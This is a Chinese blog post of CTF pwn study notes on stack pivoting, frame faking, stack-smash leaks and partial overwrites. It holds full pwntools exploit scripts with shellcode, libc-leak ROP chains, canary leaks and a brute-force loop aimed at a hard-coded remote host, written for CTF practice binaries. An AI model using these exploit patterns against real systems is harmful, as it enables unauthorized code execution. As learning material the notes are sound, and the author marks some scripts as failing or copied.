当前位置:网站首页>PWN ROP
PWN ROP
2022-07-31 04:23:00 【1-1A0】
栈迁移
原因
- 当溢出长度不够时,我们无法写入过长数据,因此想办法控制sp/bp指针到一块地方可以输入更多数据的地方
- 控制程序执行流,也就是可以控制sp指针
pop rsp/esp
思想
程序最后两步(x64为例)
leave =>
move rsp,rbp
pop rbp ;rbp指向存入的地址
ret =>
pop rip ;
这也是我们利用时最常用指令
如果这时候,我们找到 rsp 到一个地方,栈就被劫持到另一个地方
如何获得限定长度shell的汇编
- shell-database,可以找到获得shell及汇编代码
如何写exp
- 格式较为固定(64位举例)
payload = offset*b"A" #覆盖到ebp
payload += p64(fake_addr) #ebp需要跳转虚假位置
payload += p64(leave) #leave指令,esp跳转
使用send,而不是sendline
题目
ctf-wiki X-CTF Quals 2016 - b0verfl0w
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
- 反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vul();
}
int vul()
{
char s[32]; // [esp+18h] [ebp-20h] BYREF
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
fflush(stdout);
return 1;
}
- 再看内存
- 我们可以输入50字节,覆盖到ret addr 需要0x24=36长度的字节。留给我们只有14字节
- hint
public hint
hint proc near
; __unwind {
push ebp
mov ebp, esp
sub esp, 24h
retn
- 思路:
在s写入shellcode,因为无nx保护,以及存在RWX权限,写入的shell可以执行,我们就可以自己写
20个字节,包括shell和垃圾数据
覆盖返回地址
再次控制程序执行流到我们写入的shell执行
- 答案给出,修改
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * b'b' + b'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
- 0x20写数据。b"bbbb"ebp的覆盖,jmp_esp ret_addr的覆盖
首先 mov esp,ebp
pop ebp ==> ebp=bbbb
ret ==> pop eip ==> jmp_esp。程序就先被劫持到esp
sub_esp_jmp ==> esp=esp-0x28在跳转到esp执行,也就是我们写的shellcode
EkoPartyCTF 2016 fuckzing-exploit-200
- 有点复杂,不会
[Black Watch 入群题]PWN
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
//main
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
//vul
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}
- 思路
s在bss段,可以写0x200个数据
buf在栈上,写0x20个数据,在栈上位置 0x20-0x18-4=4
-00000018 buf db 24 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
在bss布置好shell函数,通过libc,寻找system,sh
主函数劫持到bss段,使用fake_ebp,leave指令
#!/usr/bin/python3
from pwn import *
#context(arch="i386",log_level="debug")
#io = remote("node4.buuoj.cn",28917)
io = process("./spwn")
elf = ELF("./spwn")
libc = ELF("./libc-2.23.so")
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
s_addr = 0x804A300
payload0 =b"A"*0x30+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil(b"name?")
io.send(payload0)
fake_ebp = s_addr-4+0x30
leave = 0x08048511
payload1= b"A"*0x18 + p32(fake_ebp) +p32(leave)
io.recvuntil(b"say?")
io.sendline(payload1)
#print(io.recv(4))
write_addr = u32(io.recv(4))
print(hex(write_addr))
#print(libc.symbols["write"])
#raw_input("W")
offset = write_addr-libc.symbols["write"]
sys_addr = offset +libc.symbols["system"]
sh_addr = offset +next(libc.search(b"/bin/sh"))
#print(offset,sys_addr,sh_addr)
#raw_input("debug")
payload2=b"b"*0x30+p32(sys_addr)+b"bbbb"+p32(sh_addr)
io.recvuntil(b"name?")
io.send(payload2)
io.recvuntil(b"say?")
io.send(payload1)
io.interactive()
#raw_input("x")
- 超时,无法通,但是思路确实是这样
通过bss段布置函数地址,返回地址设置为mian函数
将函数挟持到bss段,就会执行函数,打印got表地址,泄露libc函数
通过泄露的libc,获得后门函数
再次劫持到bss段,执行shell
frame faking
ciscn_2019_es_2
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- F5
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
//存在hack函数
int hack()
{
return system("echo flag");
}
00000028 s db ?
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
- 无法获得bss段,但是程序中存在system函数,没有/bin/sh.
思路:
在栈区构造一段执行system('/bin/sh')程序,让返回地址回到栈,但是没有RWX权限,不使用jmp
但是我们得泄露ebp地址,便于利用
如何泄露ebp地址,printf()函数遇到\x00停止,而mmset就是清空0x20个数据为0
我们只需要填充数据足够长知道ebp边缘,printf()就会将数据顺带着打印出来
#!/usr/bin/python3
from pwn import *
context(arch="i386",log_level="debug")
io = process("./ciscn")
elf = ELF("./ciscn")
system_addr =elf.plt['system']
payload = b"A"*0x27+b"b"
io.recvuntil(B"name?")
io.send(payload)
io.recvuntil(b"b")
ebp = u32(io.recv(4))
print(hex(ebp))
raw_input("AAAAA")
fake_ebp = ebp-0x38
leave = 0x8048562
payload1=b"aaaa"+p32(system_addr)+b"bbbb"+p32(ebp-0x28)+b"/bin/sh\x00"
payload1 = payload1.ljust(0x28,b"a")+p32(fake_ebp)+p32(leave)
io.send(payload1)
#gdb.attach(io)
io.interactive()
- ebp偏移的计算:
0x28是在此函数栈帧上的数据长度。
因为我们的ret返回地址是main函数,所以算偏移是获得主函数ebp
- ebp
00:0000│ ecx esp 0xffffd070 ◂— 'aaa\n'
01:0004│ 0xffffd074 ◂— 0x0
... ↓ 6 skipped
08:0020│ 0xffffd090 —▸ 0x80486d8 ◂— 0x636c6557 /* "Welcome, my friend. What's your name?" */
09:0024│ 0xffffd094 —▸ 0xffffd154 —▸ 0xffffd31b ◂— '/home/cpwn/stackprivot/ciscn/ciscn'
0a:0028│ ebp 0xffffd098 —▸ 0xffffd0a8 ◂— 0x0
ebp指向 0xffffd0a8 而该地址所存内容,为上层main函数的old ebp 说明相差0x38
old ebp 与 缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,
将该地址减去0x38即为 leave,ret后mian函数返回地址,
来自参考博客一张图(侵权删)
- 参考博客:地址
2018 安恒杯 over
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- F5
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( input() )
;
return 0LL;
}
int input()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
memset(buf, 0, sizeof(buf));
putchar(62); //62号字符 >
read(0, buf, 0x60uLL);
return puts(buf);
}
-0000000000000050 buf db ?
.....
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
- 0x60-0x50=0x10,溢出长度过短。第一次泄露rbp,再次执行shell.但是x64需要寄存器传参。并且程序中没有system和/bin/sh
00:0000│ rsi rsp 0x7fffffffde50 ◂— 0xa6c6f6f63 /* 'cool\n' */
01:0008│ 0x7fffffffde58 ◂— 0x0
... ↓ 8 skipped
0a:0050│ rbp 0x7fffffffdea0 —▸ 0x7fffffffdec0 ◂— 0x0
首先泄露rbp地址,算偏移
获得libc,puts函数
再次获得system("/bin/sh")
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
io = process("./over")
elf = ELF("./over")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400793
payload1=b"A"*(0x50-1)+b"b"
main_addr = 0x4006C0
input_addr = 0x400676
leave = 0x400721
io.recvuntil(b">")
io.send(payload1)
io.recvuntil(b"b")
rbp_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
#print(hex(rbp_addr))
#raw_input("debug")
fake_rbp = rbp_addr-0x70
io.recvuntil(b">")
payload2 = b"A"*7+b"b"+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(input_addr)
payload2 += payload2.ljust(0x50-40,b"b")+p64(fake_rbp)+p64(leave)
io.send(payload2)
#print(io.recv())
#raw_input("debug")
io.recvuntil(b"b")
#print(io.recv())
#raw_input("XXXXXXX")
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
offset = puts_addr - libc.dump("puts")
ex_addr = offset+libc.dump("execve")
sh_addr = offset+libc.dump("str_bin_sh")
pop_rdx_rsi=offset+0xf5279
payload3 = b"A"*8+p64(pop_rdi)+p64(sh_addr)+p64(pop_rdx_rsi)+p64(0)+p64(0)+p64(ex_addr)
payload3 += payload2.ljust(0x80-7*8,b"b")+p64(fake_rbp-0x30)+p64(leave)
io.recvuntil(b">")
io.send(payload3)
io.interactive()
- 泄露sp指针地址,构造一个虚假的栈帧
- 本题没有libc文件,答案给出的pop_rdx_rsi在本题是根据libc文件找出,而不是程序。我直接从答案拿过来用的。
- LibcSearcher找不到库,知道解决问题方法就行
- 看了半天,后来发现recv()和recvuntil()的错误(╬▔皿▔)╯,调半天,并且recv()的东西最好打印出来看看。
stack smach
- 题目地址
- 题目太老了,我找不到
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。但是这里的利用就是利用其报错信息
这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,
程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,
正常情况下,这个指针指向了程序名。
我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址
限制条件
libc2.24及以下的___stack_chk_fail函数检查到canary被修改
这也可以针对IO_FILE
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
- 栈溢出覆盖到程序名为我们flag的地址就可以读取文件内容
- 由于环境比较难找,我从网上找一段理解
//test.c
#include<stdio.h>
int main(){
char a[10];
scanf("%s",a);
printf("%s",a);
return 0;
}
//执行后
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: terminated
./test 0.00s user 0.00s system 0% cpu 4.360 total
//gdb调试
00:0000│ rsp 0x7fffffffdec0 ◂— 0x0
01:0008│ 0x7fffffffdec8 ◂— 0x61615555555550a0
02:0010│ 0x7fffffffded0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 6 skipped
09:0048│ 0x7fffffffdf08 ◂— 0x555555550061 /* 'a' */
0a:0050│ 0x7fffffffdf10 —▸ 0x5555555551f0 (__libc_csu_init) ◂— 0x8d4c5741fa1e0ff3
0b:0058│ 0x7fffffffdf18 ◂— 0xf639006826ef8fde
0c:0060│ 0x7fffffffdf20 —▸ 0x5555555550a0 (_start) ◂— 0x8949ed31fa1e0ff3
0d:0068│ 0x7fffffffdf28 —▸ 0x7fffffffdfd0 ◂— 0x1
0e:0070│ 0x7fffffffdf30 ◂— 0x0
0f:0078│ 0x7fffffffdf38 ◂— 0x0
10:0080│ 0x7fffffffdf40 ◂— 0x9c6ff979b0f8fde
11:0088│ 0x7fffffffdf48 ◂— 0x9c6efd526818fde
12:0090│ 0x7fffffffdf50 ◂— 0x0
... ↓ 2 skipped
15:00a8│ 0x7fffffffdf68 ◂— 0x1
16:00b0│ 0x7fffffffdf70 —▸ 0x7fffffffdfd8 —▸ 0x7fffffffe33c ◂— '/home/cpwn/stackprivot/test'
17:00b8│ 0x7fffffffdf78 —▸ 0x7fffffffdfe8 —▸ 0x7fffffffe358 ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
18:00c0│ 0x7fffffffdf80 —▸ 0x7ffff7ffe190 —▸ 0x555555554000 ◂— 0x10102464c457f
19:00c8│ 0x7fffffffdf88 ◂— 0x0
1a:00d0│ 0x7fffffffdf90 ◂— 0x0
1b:00d8│ 0x7fffffffdf98 —▸ 0x5555555550a0 (_start) ◂— 0x8949ed31fa1e0ff3
1c:00e0│ 0x7fffffffdfa0 —▸ 0x7fffffffdfd0 ◂— 0x1
1d:00e8│ 0x7fffffffdfa8 ◂— 0x0
1e:00f0│ 0x7fffffffdfb0 ◂— 0x0
1f:00f8│ 0x7fffffffdfb8 —▸ 0x5555555550ce (_start+46) ◂— 0x2f393d8d4890f4
20:0100│ 0x7fffffffdfc0 —▸ 0x7fffffffdfc8 ◂— 0x1c
21:0108│ 0x7fffffffdfc8 ◂— 0x1c
22:0110│ r13 0x7fffffffdfd0 ◂— 0x1
23:0118│ 0x7fffffffdfd8 —▸ 0x7fffffffe33c ◂— '/home/cpwn/stackprivot/test'
24:0120│ 0x7fffffffdfe0 ◂— 0x0
- 如果在libc-2.24下
*** stack smashing detected ***: terminated => ***会表示程序名
gdb调试中,可以看到程序名地址,也就可以算出偏移,覆盖为flag地址,使其报错后显示出flag内容
2015 32C3 CTF readme
栈上的partial overwrite
我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,
低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移,
就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
- 核心在于改写地址
2018 安恒杯 babypie
下载的不是可执行程序,data。只能找文章看
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
- 金丝雀保护
- F5
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
vul();
return 0LL;
}
__int64 vul()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(buf, 0, 32);
puts("Input your Name:");
read(0, buf, 0x30uLL); // overflow
printf("Hello %s:\n", buf);
read(0, buf, 0x60uLL); // overflow
return 0LL;
}
//自带shell
int getshell()
{
return system("/bin/sh");
}
.text:0000000000000A3E getshell proc near
.text:0000000000000A3E ; __unwind {
.text:0000000000000A3E push rbp
.text:0000000000000A3F mov rbp, rsp
.text:0000000000000A42 lea rdi, command ; "/bin/sh"
.text:0000000000000A49 call _system
.text:0000000000000A4E nop
.text:0000000000000A4F pop rbp
.text:0000000000000A50 retn
.text:0000000000000A50 ; } // starts at A3E
.text:0000000000000A50 getshell endp
- 存在栈溢出。read函数不会在最后加\x00。那么就覆盖在canary附近,printf()打印出canary结果。最后覆盖栈到shell就行
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
while True:
try:
io = process("./babypie", timeout = 1)
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
io.recvuntil('a' * (0x30 - 0x8 + 1))
canary = '\0' + io.recvn(7)
success(canary.encode('hex'))
# gdb.attach(io)
io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
io.interactive()
except Exception as e:
io.close()
print e
- 这题泄露canary
- 针对PIE保护,只需要覆盖两位。返回地址与 get shell 函数的地址只有低位的 16 bit 不同
- 学习对抗栈保护
2018 XNUCA-gets
- 同一个地址题目
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- F5
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // [rsp+0h] [rbp-18h] BYREF
gets(&v4, a2, a3);
return 0LL;
}
栈溢出,函数也少
无法打印地址,泄露libc。但是利用的核心在于gadget使用,曲线救国
寻找返回地址
寄存器
RAX 0x400420 ◂— 0x8948c03118ec8348
RBX 0x400540 ◂— 0x41ff894156415741
RCX 0x400540 ◂— 0x41ff894156415741
RDX 0x7fffffffdfd0 —▸ 0x7fffffffe343 ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
RDI 0x2
RSI 0x7fffffffdfb8 —▸ 0x7fffffffe31d ◂— '/home/cpwn/stackprivot/gets/gets'
R8 0x0
R9 0x7ffff7fe0d60 (_dl_fini) ◂— endbr64
R10 0x7ffff7ffcf68 (_DYNAMIC+256) ◂— 0x6ffffff0
R11 0x202
R12 0x400440 ◂— 0x89485ed18949ed31
R13 0x7fffffffdfb0 ◂— 0x2
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffdec8 —▸ 0x7ffff7de8083 (__libc_start_main+243) ◂— mov edi, eax
RIP 0x400420 ◂— 0x8948c03118ec8348
- 两个返回地址,rsp
(__libc_start_main+243)
,rdxGJS_DEBUG_TOPICS=JS ERROR;JS LOG)
两个地址
一个比较自然的想法就是我们通过 partial overwrite 来修改这两个地址到某个获取 shell 的位置
并且利用 Onegadget 工具了
而我们覆盖字节的时候必须覆盖整数倍个数,即至少会覆盖 3 个字节,而我们再来看看__libc_start_main+240 的地址 0x7ffff7a2d830,如果覆盖 3 个字节,那么就是 0x7ffff700xxxx,
已经小于了 libc 的基地址了,前面也没有刻意执行的代码位置
而 ld 的基地址呢?如果我们覆盖了栈上_dl_init+139,即为0x7ffff700xxxx。
而观察上述的内存布局,我们可以发现libc位于 ld 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为\x00 的。
因此,我们有足够的理由选择覆盖栈上存储的_dl_init+139
- 答案脚本
from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath
elf = ELF(elfpath)
bits = elf.bits
def exp(ip, port):
for i in range(0x1000):
if args['REMOTE']:
p = remote(ip, port)
else:
p = process(elfpath, timeout=2)
# gdb.attach(p)
try:
payload = 0x18 * 'a' + p64(0x40059B)
for _ in range(2):
payload += 'a' * 8 * 5 + p64(0x40059B)
payload += 'a' * 8 * 5 + '\x16\02'
p.sendline(payload)
p.sendline('ls')
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue
if __name__ == "__main__":
exp('106.75.4.189', 35273)
- 根据报错信息获得libc库,再通过库获得gadget
- 题目给出的0x40059B地址
- 答案给出的gadget
* gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
覆盖了18个长度,应该是dl_init地址
搞不懂这个数据怎么来的???
00:0000│ rax r8 rsp 0x7fffffffdec0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 2 skipped
03:0018│ 0x7fffffffded8 —▸ 0x7ffff7de8000 (__libc_start_main+112) ◂— sbb al, 0
04:0020│ 0x7fffffffdee0 ◂— 0x50 /* 'P' */
05:0028│ 0x7fffffffdee8 —▸ 0x7fffffffdfc8 —▸ 0x7fffffffe322 ◂— '/home/cpwn/stackprivot/gets/gets'
06:0030│ 0x7fffffffdef0 ◂— 0x1f7fac7a0
07:0038│ 0x7fffffffdef8 —▸ 0x400420 ◂— 0x8948c03118ec8348
08:0040│ 0x7fffffffdf00 —▸ 0x400540 ◂— 0x41ff894156415741
09:0048│ 0x7fffffffdf08 ◂— 0x78e422e9314acaaf
0a:0050│ 0x7fffffffdf10 —▸ 0x400440 ◂— 0x89485ed18949ed31
0b:0058│ 0x7fffffffdf18 —▸ 0x7fffffffdfc0 ◂— 0x1
0c:0060│ 0x7fffffffdf20 ◂— 0x0
0d:0068│ 0x7fffffffdf28 ◂— 0x0
0e:0070│ 0x7fffffffdf30 ◂— 0x871bdd168c8acaaf
0f:0078│ 0x7fffffffdf38 ◂— 0x871bcd543124caaf
10:0080│ 0x7fffffffdf40 ◂— 0x0
... ↓ 2 skipped
13:0098│ 0x7fffffffdf58 ◂— 0x1
14:00a0│ 0x7fffffffdf60 —▸ 0x7fffffffdfc8 —▸ 0x7fffffffe322 ◂— '/home/cpwn/stackprivot/gets/gets'
15:00a8│ 0x7fffffffdf68 —▸ 0x7fffffffdfd8 —▸ 0x7fffffffe343 ◂— 'GJS_DEBUG_TOPICS=JS ERROR;JS LOG'
- 覆盖到
GJS_DEBUG...
在进行覆盖两个字节
总结
劫持地址时,因为会执行pop命令,ebp为我们劫持地址函数地址减去 0x4(x86)或0x8(x64)。
leave,ret的地址,在汇编中寻找(一般程序中都有)
针对x64,我们可能需要结合ret2csu获得参数寄存器
有的题目可以输入多次,找到那个可以溢出溢出一点的段。控制执行流
有的题目输入一次,写shell,调用shell一步进行
进阶一点需要控制ip指针
对于返回地址获取:bss段地址时直接获得,但是如果是栈上ebp,动态调试获得在main上函数地址
获得偏移。bss段可能需要减去4或8以便为执行pop指令获得正确地址
在栈上,可以先写4或8字节垃圾数据获得正确地址。
tips: 栈迁移 syscall用法**(SROP)**(59号execve),上网自查。。。
边栏推荐
- RESTful api接口设计规范
- No qualifying bean of type question
- WeChat applet uses cloud functions to update and add cloud database nested array elements
- Bubble sort, selection sort, insertion sort, binary search directly
- [shell basics] determine whether the directory is empty
- 问题7:列表的拼接
- Postgresql 15 source code analysis (5) - pg_control
- Vue项目通过node连接MySQL数据库并实现增删改查操作
- Pytest e-commerce project combat (on)
- (tree) Last Common Ancestor (LCA)
猜你喜欢
Postgresql 15 source code analysis (5) - pg_control
MySQL数据库增删改查(基础操作命令详解)
聚变云原生,赋能新里程 | 2022开放原子全球开源峰会云原生分论坛圆满召开
Based on the local, linking the world | Schneider Electric "Industrial SI Alliance" joins hands with partners to go to the future industry
从零开始,一镜到底,纯净系统搭建除草机(Grasscutter)
C语言从入门到如土——数据的存储
重磅 | 基金会为白金、黄金、白银捐赠人授牌
ENSP, VLAN division, static routing, comprehensive configuration of Layer 3 switches
Exsl file preview, word file preview web page method
已解决:不小心卸载pip后(手动安装pip的两种方式)
随机推荐
三子棋的代码实现
Can't load /home/Iot/.rnd into RNG
Daily practice of LeetCode - palindrome structure of OR36 linked list
慧通编程第4关 - 魔法学院第6课
专访 | 阿里巴巴首席技术官程立:云+开源共同形成数字世界的可信基础
Safety 20220722
Postgresql 15 source code analysis (5) - pg_control
(五)final、抽象类、接口、内部类
Thinking about data governance after Didi fines
qlib架构
(八)Math 类、Arrays 类、System类、Biglnteger 和 BigDecimal 类、日期类
ENSP, VLAN division, static routing, comprehensive configuration of Layer 3 switches
el-image tag doesn't work after binding click event
《DeepJIT: An End-To-End Deep Learning Framework for Just-In-Time Defect Prediction》论文笔记
MySQL数据库必会的增删查改操作(CRUD)
端口排查步骤-7680端口分析-Dosvc服务
(8) Math class, Arrays class, System class, Biglnteger and BigDecimal classes, date class
Learning DAVID Database (1)
C语言从入门到如土——数据的存储
type_traits元编程库学习